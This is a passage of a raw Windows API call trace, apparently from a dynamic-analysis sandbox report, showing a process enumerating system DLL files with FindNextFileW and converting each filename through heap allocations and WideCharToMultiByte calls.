BaseAddress=0xa9c288) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.894] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.894] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.894] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.894] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.895] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xa9c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.895] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.895] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.896] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.896] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.896] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.897] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.897] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.897] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.897] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.897] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.898] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.898] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.898] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa9c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0136.898] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.898] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.899] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 